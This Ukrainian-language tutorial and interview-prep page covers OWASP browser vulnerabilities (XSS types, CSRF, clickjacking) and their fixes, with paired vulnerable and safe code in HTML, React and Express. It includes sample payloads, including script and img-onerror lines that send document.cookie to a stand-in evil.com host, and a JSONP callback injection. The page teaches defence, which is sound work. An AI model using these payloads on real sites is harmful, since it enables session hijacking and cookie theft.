Вразливості браузерів OWASP
Вразливості браузерів OWASP - це клієнтські помилки безпеки у веб-додатках, через які зловмисник може вкрасти cookies, захопити сесію або примусити користувача виконати дії, яких той ніколи не планував.
Теорія
TL;DR
- XSS: зловмисник вставляє
<script>тег у твій DOM, браузер виконує його з повним доступом до cookies таlocalStorage - CSRF: зловмисник змушує браузер надіслати автентифікований запит до сервера, використовуючи автоматичне прикріплення cookies
- Clickjacking: прозорий iframe накладається на справжню кнопку, і клік «отримати приз» потрапляє на «підтвердити переказ»
- Виправлення XSS:
textContentзамістьinnerHTML, DOMPurify передinnerHTML, CSP з nonce - Виправлення CSRF:
SameSite=Strictна session cookie, CSRF-токени для форм з крос-доменним доступом
Швидкий приклад
<input id="q" placeholder="Пошук...">
<div id="result"></div>
<script>
// ВРАЗЛИВО: innerHTML передає рядок HTML-парсеру
// Ввід: <img src=x onerror=alert(document.cookie)>
// Результат: браузер виконує onerror, cookie вкрадено
document.getElementById('q').oninput = (e) => {
document.getElementById('result').innerHTML = e.target.value;
};
// БЕЗПЕЧНО: textContent повністю обходить парсер
// Ввід: <img src=x onerror=alert(document.cookie)>
// Результат: буквальний рядок відображається, нічого не виконується
document.getElementById('q').oninput = (e) => {
document.getElementById('result').textContent = e.target.value;
};
</script>innerHTML передає значення HTML-парсеру Chrome, який будує DOM-вузли та запускає обробники подій. textContent створює звичайний текстовий вузол і не торкається парсера.
Різновиди XSS
Stored XSS зберігає payload в базі даних. Коментар, збережений як <script>fetch('https://evil.com?c='+document.cookie)</script>, спрацює для кожного користувача, який завантажить сторінку. Це найнебезпечніший різновид, бо він масштабується автоматично.
Reflected XSS живе в URL. Сервер відображає параметр запиту напряму в HTML без екранування, і браузер виконує його. Класичний приклад: ?q=<script>alert(1)</script> вставлений у шаблон сторінки без обробки.
DOM-based XSS ніколи не досягає сервера. Payload знаходиться в хеші URL, і клієнтський JavaScript зчитує location.hash та записує в DOM. Оскільки сервер ніколи не бачить #, серверна санітизація повністю пропускає цей тип. Захист потрібно будувати на клієнті.
CSRF: браузер як мимовільний посланець
Браузер прикріплює відповідні cookies до кожного запиту, незалежно від того, звідки той надійшов. CSRF цим і користується. Зловмисник розміщує сторінку, яка відправляє POST на https://yourbank.com/transfer?amount=5000&to=attacker. Жертва заходить туди в авторизованому стані, і браузер надсилає session cookie без вагань.
Атрибут SameSite=Strict на session cookie забороняє браузеру надсилати cookies при крос-доменних запитах. Це блокує атаку ще до того, як сервер її побачить. Для API, яким потрібен крос-доменний доступ, поєднуй SameSite=Lax з CSRF-токеном: секрет вбудований у форму, перевірений на сервері перед обробкою.
Clickjacking: що бачиш і що натискаєш
Зловмисник завантажує твою сторінку в прозорому iframe, розміщеному точно над кнопкою «отримати приз» на своїй сторінці. Користувач думає, що натискає приз. Насправді він активує «підтвердити переказ» на твоїй.
Заголовок X-Frame-Options: DENY каже браузерам відмовити у відображенні сторінки всередині будь-якого фрейму. Сучасна заміна - Content-Security-Policy: frame-ancestors 'none', яка дає той самий результат і гнучкіша в налаштуванні.
Огляд атак
| Атака | Точка входу | Що отримує зловмисник | Виправлення |
|---|---|---|---|
| Stored XSS | База даних | Виконується при кожному завантаженні для всіх користувачів | DOMPurify, textContent, CSP |
| Reflected XSS | Параметр URL | Виконується коли жертва клікає посилання зловмисника | Серверне екранування, CSP |
| DOM-based XSS | Хеш URL | Виконується на клієнті, сервер не бачить | Клієнтська санітизація, textContent |
| CSRF | Крос-доменна форма або fetch | Виконує дії від імені авторизованого користувача | SameSite=Strict, CSRF-токени |
| Clickjacking | Накладання iframe | Жертва клікає не те, що думає | X-Frame-Options, frame-ancestors |
| MITM | Мережевий трафік | Читає або змінює весь трафік | HTTPS, HSTS |
| SQL-ін'єкція | Рядки запитів | Читання, запис або видалення з БД | Параметризовані запити, ORM |
Коли застосовувати який захист
- Текст користувача рендериться як HTML →
DOMPurify.sanitize()передinnerHTML; або переходь наtextContentякщо форматування не потрібне - Endpoint-и, що змінюють стан (POST, PUT, DELETE) →
SameSite=Strictcookie плюс серверний CSRF-токен - Сторонні скрипти або реклама → CSP з білим списком доменів і nonce для кожного запиту
- Будь-яка сторінка, яку можна вставити в iframe →
X-Frame-Options: DENYабоContent-Security-Policy: frame-ancestors 'none' - npm-залежності →
npm auditу CI; замінюй пакети з відкритими CVE
Як браузер обробляє впроваджену розмітку
HTML-парсер Chrome читає документ зліва направо і будує DOM-дерево вузол за вузлом. Коли він знаходить неекранований тег <script> або атрибут події на зразок onerror, він ставить JavaScript у чергу event loop. Цей скрипт виконується всередині контексту виконання сторінки з повним доступом до document.cookie, window.localStorage і кожного DOM-елемента. Same-Origin Policy (правило однакового походження) блокує крос-доменне читання, але скрипт, що вже виконується всередині твого origin, не має таких обмежень. Ось і вся модель загрози.
Типові помилки
Санітизація на сервері, вставка сирого HTML на клієнті. Сервер відправляє <script>, клієнт виконує element.innerHTML = data. HTML-парсер декодує < назад у < і виконує тег. Серверне екранування працює лише якщо ти також використовуєш textContent на клієнті або пропускаєш дані через DOMPurify перед зверненням до innerHTML.
// Помилка: сервер екранує, клієнт розекрановує
const safeFromServer = '<script>alert(1)</script>';
element.innerHTML = safeFromServer; // Браузер перепарсить, скрипт спрацює
// Виправлення
element.textContent = safeFromServer; // Буквальний текст, нічого не виконуєтьсяCSP з unsafe-inline. Додавання script-src 'unsafe-inline' до Content Security Policy перетворює весь заголовок на формальність. Вбудовані блоки <script> все одно виконуються. Замість цього використовуй nonce:
<!-- Сервер генерує новий nonce для кожного запиту -->
<meta http-equiv="Content-Security-Policy"
content="script-src 'nonce-rAnd0m123'">
<!-- Виконуються лише скрипти з цим точним nonce -->
<script nonce="rAnd0m123">
// легітимний код
</script>Забуття DOM-based XSS з URL-фрагментів. #<img src=x onerror=alert(1)> повністю обходить сервер, бо хеш ніколи не надсилається в HTTP-запитах. Якщо код зчитує location.hash і записує в DOM, санітизація обов'язкова на клієнті:
// Вразливо
const payload = location.hash.slice(1);
document.getElementById('content').innerHTML = payload;
// Безпечно
import DOMPurify from 'dompurify';
const payload = decodeURIComponent(location.hash.slice(1));
document.getElementById('content').innerHTML = DOMPurify.sanitize(payload);HttpOnly без Secure. HttpOnly забороняє JavaScript читати cookies. Але через звичайний HTTP MITM-атака все одно може їх перехопити. Повна комбінація:
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
Відсутність CSRF-захисту на endpoint-ах, що змінюють стан. GET-запити не повинні змінювати стан. POST, PUT та DELETE потребують або SameSite=Strict cookie, або серверно-перевіреного CSRF-токена. Перевірка лише заголовка Referer не є надійною, бо проксі та privacy-інструменти його видаляють.
Де це зустрічається в реальних проектах
- React:
dangerouslySetInnerHTMLлише зDOMPurify.sanitize(text), поширено в Markdown-рендерерах для блог-платформ - Express: middleware
helmetналаштовує CSP,X-Frame-Options, HSTS та інші заголовки безпеки одним викликом - Angular: автоматично екранує прив'язки в шаблонах;
DomSanitizer.bypassSecurityTrustHtml()у code review - привід зупинитися - Vue:
v-htmlнесе ті самі ризики що йdangerouslySetInnerHTML; санітизуй перед передачею значення - CI/CD: OWASP ZAP можна додати до pipeline для автоматичного сканування на XSS та ін'єкції при кожному деплої
Питання на співбесіді
Q: Яка різниця між Stored, Reflected та DOM-based XSS?
A: Stored зберігається в базі даних і спрацьовує для кожного відвідувача. Reflected потребує від жертви кліку по спеціально підготовленому URL. DOM-based ніколи не досягає сервера - payload знаходиться в хеші URL, і клієнтський JS записує його в DOM.
Q: Як CSP знижує ризик XSS?
A: CSP задає білий список джерел, з яких браузер може завантажувати скрипти. script-src 'self' блокує все, що не з твого origin, включаючи вбудовані теги та eval. Nonce прив'язує кожен дозволений вбудований скрипт до випадкового значення, згенерованого сервером на кожен запит. Навіть якщо зловмисник вставить <script> тег, без дійсного nonce браузер відмовить у виконанні.
Q: Як захиститись від CSRF без токенів?
A: SameSite=Strict cookies взагалі забороняють браузеру надсилати облікові дані при крос-доменних запитах. Власний заголовок на зразок X-Requested-With: XMLHttpRequest також допомагає, бо прості крос-доменні форми не можуть встановлювати власні заголовки без CORS preflight.
Q: Що захищає від clickjacking якщо CSP не налаштовано?
A: X-Frame-Options: DENY - запасний варіант. Він каже браузерам відмовити у завантаженні сторінки всередині будь-якого iframe. SAMEORIGIN дозволяє фреймінг лише з того ж домену. Директива CSP frame-ancestors - сучасна заміна з більш гнучкими правилами.
Q: Кандидат каже «санітизуй введення для захисту від XSS». Що додає senior-рівень?
A: Контекстно-залежне екранування. Один і той самий рядок потребує різної обробки залежно від місця призначення: тіло HTML, значення атрибута, JavaScript-рядок, параметр URL або CSS-властивість. Payload безпечний в одному контексті може бути небезпечним в іншому. DOMPurify обробляє це коректно; ручний regex - майже ніколи.
Q: Спроектуй систему коментарів з підтримкою Markdown та emoji, захищену від XSS.
A: Парс Markdown на сервері за допомогою бібліотеки на зразок markdown-it з налаштуванням видалення сирих HTML-тегів. Відправляй отриманий HTML клієнту. На клієнті пропускай через DOMPurify перед вставкою в DOM. Роздавай сторінки з CSP на основі nonce без unsafe-inline. Обмежуй частоту публікацій і логуй payload-и, що спрацювали санітизатор, для подальшої перевірки.
Приклади
XSS: вразливий та безпечний пошук
<!DOCTYPE html>
<html>
<body>
<input id="search" placeholder="Пошук...">
<div id="result"></div>
<script>
const result = document.getElementById('result');
const input = document.getElementById('search');
// ВРАЗЛИВО: HTML-парсер будує справжні вузли з рядка
// Спробуй: <img src=x onerror=alert(document.cookie)>
// Результат: onerror спрацьовує, cookie витікає
input.oninput = (e) => {
result.innerHTML = e.target.value;
};
// БЕЗПЕЧНО: лише текстовий вузол, без парсингу
// Спробуй: <img src=x onerror=alert(document.cookie)>
// Результат: буквальний рядок відображається, нічого не виконується
input.oninput = (e) => {
result.textContent = e.target.value;
};
</script>
</body>
</html>Головна відмінність: innerHTML просить HTML-парсер інтерпретувати рядок. textContent створює текстовий вузол напряму. Один шлях веде до виконання коду, інший - ні.
React: коментарі з rich text в продакшені
import DOMPurify from 'dompurify'; // npm install dompurify
// ВРАЗЛИВО: HTML під контролем користувача рендериться без санітизації
function CommentList({ comments }) {
return (
<ul>
{comments.map(c => (
<li
key={c.id}
dangerouslySetInnerHTML={{ __html: c.text }}
// c.text з БД: '<img src=x onerror=fetch("https://evil.com?c="+document.cookie)>'
// Кожен відвідувач передає свій session cookie зловмиснику
/>
))}
</ul>
);
}
// БЕЗПЕЧНО: DOMPurify видаляє обробники подій та небезпечні атрибути
function SafeCommentList({ comments }) {
return (
<ul>
{comments.map(c => (
<li
key={c.id}
dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(c.text) }}
// onerror, onclick, javascript: URL видалені перед рендером
// Безпечний HTML як <strong> або <em> проходить нормально
/>
))}
</ul>
);
}Назва dangerouslySetInnerHTML обрана навмисно. React хоче, щоб ти зупинився і подумав. Якщо контент надходить від користувачів або ненадійного API, між даними і prop обов'язково стоїть DOMPurify. В моїй практиці більшість XSS-багів у React-додатках з'являється не при першому написанні, а через кілька місяців, коли хтось додає innerHTML у новому компоненті не перевіривши, чи санітизація вже є десь у ланцюгу.
Просунутий приклад: JSONP endpoint як вектор XSS
// Express handler - ВРАЗЛИВИЙ
// Зловмисник викликає: GET /api/data?callback=alert(document.cookie)//
app.get('/api/data', (req, res) => {
const callback = req.query.callback;
res.setHeader('Content-Type', 'application/javascript');
// Виводить: alert(document.cookie)//({data:'safe'});
// Браузер завантажує це як тег <script> і виконує
res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`);
});
// БЕЗПЕЧНИЙ: білий список дозволених назв callback
const ALLOWED_CALLBACKS = new Set(['onDataLoaded', 'handleResult']);
app.get('/api/data', (req, res) => {
const callback = req.query.callback;
if (!ALLOWED_CALLBACKS.has(callback)) {
return res.status(400).json({ error: 'Невалідна назва callback' });
}
res.setHeader('Content-Type', 'application/javascript');
res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`);
});JSONP - здебільшого застарілий патерн, замінений CORS, але він досі зустрічається в кодових базах, що не оновлювались з 2015 року. Параметр callback - це прямий шлях до виконання коду, якщо ти відображаєш його без перевірки. Білий список вирішує проблему. Якщо ти контролюєш і клієнт, і сервер, відмовся від JSONP повністю та налаштуй CORS належним чином.
Коротка відповідь
Для співбесідиКоротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.